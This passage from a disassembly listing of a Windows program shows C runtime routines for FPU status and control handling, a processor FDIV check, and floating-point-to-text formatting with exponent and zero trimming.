		jmp	short loc_42C1F6
; ---------------------------------------------------------------------------

loc_42C235:				; CODE XREF: sub_42C170+93j
		mov	ax, word ptr [ebp+arg_0+6]
		and	ax, 0FFEFh
		mov	word ptr [ebp+arg_0+6],	ax
		cmp	[ebp+var_10], 0
		jz	short loc_42C252
		mov	cx, word ptr [ebp+arg_0+6]
		or	ch, 80h
		mov	word ptr [ebp+arg_0+6],	cx

loc_42C252:				; CODE XREF: sub_42C170+D5j
		push	0
		mov	edx, dword ptr [ebp+arg_0+4]
		push	edx
		mov	eax, dword ptr [ebp+arg_0]
		push	eax
		call	sub_42C000
		add	esp, 0Ch
		fstp	[ebp+var_C]
		jmp	short loc_42C29A
; ---------------------------------------------------------------------------

loc_42C269:				; CODE XREF: sub_42C170+3Fj
					; sub_42C170+53j
		push	0
		mov	ecx, dword ptr [ebp+arg_0+4]
		push	ecx
		mov	edx, dword ptr [ebp+arg_0]
		push	edx
		call	sub_42C000
		add	esp, 0Ch
		fstp	[ebp+var_C]
		mov	eax, dword ptr [ebp+arg_0+6]
		and	eax, 0FFFFh
		and	eax, 7FF0h
		sar	eax, 4
		movsx	ecx, ax
		sub	ecx, 3FEh
		mov	[ebp+var_4], ecx

loc_42C29A:				; CODE XREF: sub_42C170+2Bj
					; sub_42C170+F7j
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		fld	[ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_42C170	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C2B0	proc near		; CODE XREF: sub_42B610+171p

var_4		= word ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		fstsw	[ebp+var_4]
		movsx	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42C2B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C2D0	proc near		; CODE XREF: sub_42B610+349p

var_4		= word ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		fnstsw	[ebp+var_4]
		fnclex
		movsx	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42C2D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C2F0	proc near		; CODE XREF: sub_41FFF0+11p
					; sub_41FFF0+67p ...

var_8		= word ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		fstcw	[ebp+var_8]
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		movsx	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		not	edx
		and	ecx, edx
		or	eax, ecx
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		movsx	eax, [ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42C2F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C330	proc near		; CODE XREF: sub_42BAE0+25p
					; sub_42BAE0+50p ...

var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_42C34D
		fld	tbyte_454238
		fistp	[ebp+var_C]
		wait

loc_42C34D:				; CODE XREF: sub_42C330+11j
		mov	ecx, [ebp+arg_0]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_42C367
		fstsw	ax
		fld	tbyte_454238
		fstp	[ebp+var_8]
		wait
		fstsw	ax

loc_42C367:				; CODE XREF: sub_42C330+25j
		mov	edx, [ebp+arg_0]
		and	edx, 10h
		test	edx, edx
		jz	short loc_42C37B
		fld	tbyte_454244
		fstp	[ebp+var_8]
		wait

loc_42C37B:				; CODE XREF: sub_42C330+3Fj
		mov	eax, [ebp+arg_0]
		and	eax, 4
		test	eax, eax
		jz	short loc_42C38E
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait

loc_42C38E:				; CODE XREF: sub_42C330+53j
		mov	ecx, [ebp+arg_0]
		and	ecx, 20h
		test	ecx, ecx
		jz	short loc_42C39E
		fldpi
		fstp	[ebp+var_8]
		wait

loc_42C39E:				; CODE XREF: sub_42C330+66j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42C330	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C3B0	proc near		; CODE XREF: sub_420130+15p
					; .packed:00432025p
		push	ebp
		mov	ebp, esp
		push	30000h
		push	10000h
		call	sub_431FF0
		add	esp, 8
		pop	ebp
		retn
sub_42C3B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C3D0	proc near		; CODE XREF: sub_42C430:loc_42C469p

var_1C		= dword	ptr -1Ch
var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ebp+var_18],	80000000h
		mov	dword ptr [ebp+var_18+4], 4147FFFFh
		mov	dword ptr [ebp+var_8], 0C0000000h
		mov	dword ptr [ebp+var_8+4], 4150017Eh
		fld	[ebp+var_8]
		fdiv	[ebp+var_18]
		fmul	[ebp+var_18]
		fsubr	[ebp+var_8]
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fcomp	dbl_43CD98
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_42C41D
		mov	[ebp+var_1C], 1
		jmp	short loc_42C424
; ---------------------------------------------------------------------------

loc_42C41D:				; CODE XREF: sub_42C3D0+42j
		mov	[ebp+var_1C], 0

loc_42C424:				; CODE XREF: sub_42C3D0+4Bj
		mov	eax, [ebp+var_1C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42C3D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C430	proc near		; CODE XREF: sub_420130+Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	offset aKernel32 ; "KERNEL32"
		call	dword_4F5370	; GetModuleHandleA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_42C469
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		mov	eax, [ebp+var_4]
		push	eax
		call	dword_4F5390	; GetProcAddress
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_42C469
		push	0
		call	[ebp+var_8]
		jmp	short loc_42C46E
; ---------------------------------------------------------------------------

loc_42C469:				; CODE XREF: sub_42C430+18j
					; sub_42C430+30j
		call	sub_42C3D0

loc_42C46E:				; CODE XREF: sub_42C430+37j
		mov	esp, ebp
		pop	ebp
		retn
sub_42C430	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C480	proc near		; CODE XREF: sub_427F60+6CFp
					; DATA XREF: sub_420170+21o ...

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		push	ecx
		call	sub_421C90
		add	esp, 4
		cmp	eax, 65h
		jz	short loc_42C4E0

loc_42C49A:				; CODE XREF: sub_42C480+5Ej
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		cmp	dword_453EB0, 1
		jle	short loc_42C4C2
		push	4
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		push	ecx
		call	sub_427040
		add	esp, 8
		mov	[ebp+var_C], eax
		jmp	short loc_42C4DA
; ---------------------------------------------------------------------------

loc_42C4C2:				; CODE XREF: sub_42C480+2Aj
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		mov	ecx, off_453CA4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_C], edx

loc_42C4DA:				; CODE XREF: sub_42C480+40j
		cmp	[ebp+var_C], 0
		jnz	short loc_42C49A

loc_42C4E0:				; CODE XREF: sub_42C480+18j
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		mov	[ebp+var_8], cl
		mov	edx, [ebp+arg_0]
		mov	al, byte_453EB4
		mov	[edx], al
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx

loc_42C4FB:				; CODE XREF: sub_42C480+A2j
		mov	edx, [ebp+arg_0]
		mov	al, [edx]
		mov	[ebp+var_4], al
		mov	ecx, [ebp+arg_0]
		mov	dl, [ebp+var_8]
		mov	[ecx], dl
		mov	al, [ebp+var_4]
		mov	[ebp+var_8], al
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		test	edx, edx
		jnz	short loc_42C4FB
		mov	esp, ebp
		pop	ebp
		retn
sub_42C480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C530	proc near		; CODE XREF: sub_427F60+6F1p
					; DATA XREF: sub_420170+Do ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx

loc_42C534:				; CODE XREF: sub_42C530+28j
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_42C55A
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		movsx	ecx, byte_453EB4
		cmp	eax, ecx
		jz	short loc_42C55A
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		jmp	short loc_42C534
; ---------------------------------------------------------------------------

loc_42C55A:				; CODE XREF: sub_42C530+Cj
					; sub_42C530+1Dj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		test	ecx, ecx
		jz	loc_42C603

loc_42C571:				; CODE XREF: sub_42C530+6Aj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_42C59C
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		cmp	eax, 65h
		jz	short loc_42C59C
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 45h
		jz	short loc_42C59C
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	short loc_42C571
; ---------------------------------------------------------------------------

loc_42C59C:				; CODE XREF: sub_42C530+49j
					; sub_42C530+54j ...
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		sub	edx, 1
		mov	[ebp+arg_0], edx

loc_42C5AB:				; CODE XREF: sub_42C530+8Fj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 30h
		jnz	short loc_42C5C1
		mov	edx, [ebp+arg_0]
		sub	edx, 1
		mov	[ebp+arg_0], edx
		jmp	short loc_42C5AB
; ---------------------------------------------------------------------------

loc_42C5C1:				; CODE XREF: sub_42C530+84j
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		movsx	edx, byte_453EB4
		cmp	ecx, edx
		jnz	short loc_42C5DB
		mov	eax, [ebp+arg_0]
		sub	eax, 1
		mov	[ebp+arg_0], eax

loc_42C5DB:				; CODE XREF: sub_42C530+A0j
					; sub_42C530+D1j
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		test	eax, eax
		jz	short loc_42C603
		jmp	short loc_42C5DB
; ---------------------------------------------------------------------------

loc_42C603:				; CODE XREF: sub_42C530+3Bj
					; sub_42C530+CFj
		mov	esp, ebp
		pop	ebp
		retn
sub_42C530	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C610	proc near		; DATA XREF: sub_420170+2Bo
					; .packed:off_454260o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_43D2F0
		fnstsw	ax
		test	ah, 1
		jnz	short loc_42C62F
		mov	[ebp+var_4], 1
		jmp	short loc_42C636
; ---------------------------------------------------------------------------

loc_42C62F:				; CODE XREF: sub_42C610+14j
		mov	[ebp+var_4], 0

loc_42C636:				; CODE XREF: sub_42C610+1Dj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42C610	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C640	proc near		; CODE XREF: sub_429E90+1138p
					; DATA XREF: sub_420170+17o ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 0
		jz	short loc_42C66C
		mov	eax, [ebp+arg_8]
		push	eax
		lea	ecx, [ebp+var_8]
		push	ecx
		call	sub_432B20
		add	esp, 8
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_8]
		mov	[edx], eax
		mov	ecx, [ebp+var_4]
		mov	[edx+4], ecx
		jmp	short loc_42C684
; ---------------------------------------------------------------------------

loc_42C66C:				; CODE XREF: sub_42C640+Aj
		mov	edx, [ebp+arg_8]
		push	edx
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_432BA0
		add	esp, 8
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_C]
		mov	[ecx], edx

loc_42C684:				; CODE XREF: sub_42C640+2Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_42C640	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C690	proc near		; CODE XREF: sub_42CB20+1Fp

var_2C		= byte ptr -2Ch
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		lea	eax, [ebp+var_14]
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_2C]
		push	ecx
		lea	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [eax]
		push	edx
		call	sub_432CE0
		add	esp, 10h
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		push	ecx
		mov	edx, [ebp+var_4]
		xor	eax, eax
		cmp	dword ptr [edx], 2Dh
		setz	al
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		xor	edx, edx
		cmp	[ebp+arg_8], 0
		setnle	dl
		add	ecx, edx
		push	ecx
		call	sub_432BE0
		add	esp, 0Ch
		push	0
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_42C710
		add	esp, 14h
		mov	eax, [ebp+arg_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42C690	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C710	proc near		; CODE XREF: sub_42C690+67p
					; sub_42CA30+9Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		movsx	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_42C747
		mov	ecx, [ebp+arg_C]
		xor	edx, edx
		cmp	dword ptr [ecx], 2Dh
		setz	dl
		mov	eax, [ebp+arg_0]
		add	eax, edx
		mov	[ebp+var_4], eax
		xor	ecx, ecx
		cmp	[ebp+arg_4], 0
		setnle	cl
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_42CB80
		add	esp, 8

loc_42C747:				; CODE XREF: sub_42C710+Cj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 2Dh
		jnz	short loc_42C764
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	2Dh
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax

loc_42C764:				; CODE XREF: sub_42C710+43j
		cmp	[ebp+arg_4], 0
		jle	short loc_42C788
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	al, [edx+1]
		mov	[ecx], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	al, byte_453EB4
		mov	[edx], al

loc_42C788:				; CODE XREF: sub_42C710+58j
		push	offset aE000	; "e+000"
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+arg_4]
		movsx	edx, [ebp+arg_10]
		neg	edx
		sbb	edx, edx
		inc	edx
		add	ecx, edx
		push	ecx
		call	sub_41F620
		add	esp, 8
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_8], 0
		jz	short loc_42C7B6
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	45h

loc_42C7B6:				; CODE XREF: sub_42C710+9Ej
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+0Ch]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 30h
		jz	loc_42C86F
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+4]
		sub	eax, 1
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jge	short loc_42C7F1
		mov	ecx, [ebp+var_8]
		neg	ecx
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	2Dh

loc_42C7F1:				; CODE XREF: sub_42C710+D1j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		cmp	[ebp+var_8], 64h
		jl	short loc_42C825
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 64h
		idiv	ecx
		mov	edx, [ebp+var_4]
		mov	cl, [edx]
		add	cl, al
		mov	edx, [ebp+var_4]
		mov	[edx], cl
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 64h
		idiv	ecx
		mov	[ebp+var_8], edx

loc_42C825:				; CODE XREF: sub_42C710+EEj
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		cmp	[ebp+var_8], 0Ah
		jl	short loc_42C859
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	edx, [ebp+var_4]
		mov	cl, [edx]
		add	cl, al
		mov	edx, [ebp+var_4]
		mov	[edx], cl
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	[ebp+var_8], edx

loc_42C859:				; CODE XREF: sub_42C710+122j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		add	cl, byte ptr [ebp+var_8]
		mov	edx, [ebp+var_4]
		mov	[edx], cl

loc_42C86F:				; CODE XREF: sub_42C710+BBj
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn
sub_42C710	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C880	proc near		; CODE XREF: sub_42CB20+3Bp

var_2C		= byte ptr -2Ch
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		lea	eax, [ebp+var_14]
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_2C]
		push	ecx
		lea	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [eax]
		push	edx
		call	sub_432CE0
		add	esp, 10h
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_8]
		add	edx, [ecx+4]
		push	edx
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		mov	edx, [ebp+arg_4]
		add	edx, ecx
		push	edx
		call	sub_432BE0
		add	esp, 0Ch
		push	0
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_42C8F0
		add	esp, 10h
		mov	eax, [ebp+arg_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42C880	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C8F0	proc near		; CODE XREF: sub_42C880+5Bp
					; sub_42CA30+D9p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	[ebp+var_8], ecx
		movsx	edx, [ebp+arg_C]
		test	edx, edx
		jz	short loc_42C943
		mov	eax, [ebp+arg_8]
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		mov	edx, [ebp+arg_0]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jnz	short loc_42C943
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_8]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		mov	byte ptr [edx],	30h
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		mov	byte ptr [ecx],	0

loc_42C943:				; CODE XREF: sub_42C8F0+18j
					; sub_42C8F0+33j
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax], 2Dh
		jnz	short loc_42C960
		mov	ecx, [ebp+var_4]
		mov	byte ptr [ecx],	2Dh
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx

loc_42C960:				; CODE XREF: sub_42C8F0+5Fj
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+4], 0
		jg	short loc_42C988
		push	1
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_42CB80
		add	esp, 8
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	30h
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_42C994
; ---------------------------------------------------------------------------

loc_42C988:				; CODE XREF: sub_42C8F0+77j
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		add	edx, [ecx+4]
		mov	[ebp+var_4], edx

loc_42C994:				; CODE XREF: sub_42C8F0+96j
		cmp	[ebp+arg_4], 0
		jle	loc_42CA26
		push	1
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_42CB80
		add	esp, 8
		mov	ecx, [ebp+var_4]
		mov	dl, byte_453EB4
		mov	[ecx], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+4], 0
		jge	short loc_42CA26
		movsx	edx, [ebp+arg_C]
		test	edx, edx
		jz	short loc_42C9DE
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+4]
		neg	ecx
		mov	[ebp+arg_4], ecx
		jmp	short loc_42CA04
; ---------------------------------------------------------------------------

loc_42C9DE:				; CODE XREF: sub_42C8F0+DFj
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+4]
		neg	eax
		cmp	[ebp+arg_4], eax
		jge	short loc_42C9F3
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_10], ecx
		jmp	short loc_42C9FE
; ---------------------------------------------------------------------------

loc_42C9F3:				; CODE XREF: sub_42C8F0+F9j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+4]
		neg	eax
		mov	[ebp+var_10], eax

loc_42C9FE:				; CODE XREF: sub_42C8F0+101j
		mov	ecx, [ebp+var_10]
		mov	[ebp+arg_4], ecx

loc_42CA04:				; CODE XREF: sub_42C8F0+ECj
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_42CB80
		add	esp, 8
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	30h
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41E4B0
		add	esp, 0Ch

loc_42CA26:				; CODE XREF: sub_42C8F0+A8j
					; sub_42C8F0+D7j
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn
sub_42C8F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CA30	proc near		; CODE XREF: sub_42CB20+55p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= byte ptr -2Ch
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		mov	[ebp+var_30], 0
		lea	eax, [ebp+var_14]
		mov	[ebp+var_38], eax
		lea	ecx, [ebp+var_2C]
		push	ecx
		lea	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [eax]
		push	edx
		call	sub_432CE0
		add	esp, 10h
		mov	eax, [ebp+var_38]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	[ebp+var_34], ecx
		mov	edx, [ebp+var_38]
		xor	eax, eax
		cmp	dword ptr [edx], 2Dh
		setz	al
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_38]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_432BE0
		add	esp, 0Ch
		mov	edx, [ebp+var_38]
		mov	eax, [edx+4]
		sub	eax, 1
		xor	ecx, ecx
		cmp	[ebp+var_34], eax
		setl	cl
		mov	[ebp+var_30], cl
		mov	edx, [ebp+var_38]
		mov	eax, [edx+4]
		sub	eax, 1
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0FFFFFFFCh
		jl	short loc_42CABB
		mov	ecx, [ebp+var_34]
		cmp	ecx, [ebp+arg_8]
		jl	short loc_42CAD7

loc_42CABB:				; CODE XREF: sub_42CA30+81j
		push	1
		mov	edx, [ebp+var_38]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_42C710
		add	esp, 14h
		jmp	short loc_42CB11
; ---------------------------------------------------------------------------

loc_42CAD7:				; CODE XREF: sub_42CA30+89j
		movsx	eax, [ebp+var_30]
		test	eax, eax
		jz	short loc_42CAFB

loc_42CADF:				; CODE XREF: sub_42CA30+C2j
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		test	edx, edx
		jz	short loc_42CAF4
		jmp	short loc_42CADF
; ---------------------------------------------------------------------------

loc_42CAF4:				; CODE XREF: sub_42CA30+C0j
		mov	ecx, [ebp+var_4]
		mov	byte ptr [ecx-2], 0

loc_42CAFB:				; CODE XREF: sub_42CA30+ADj
		push	1
		mov	edx, [ebp+var_38]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
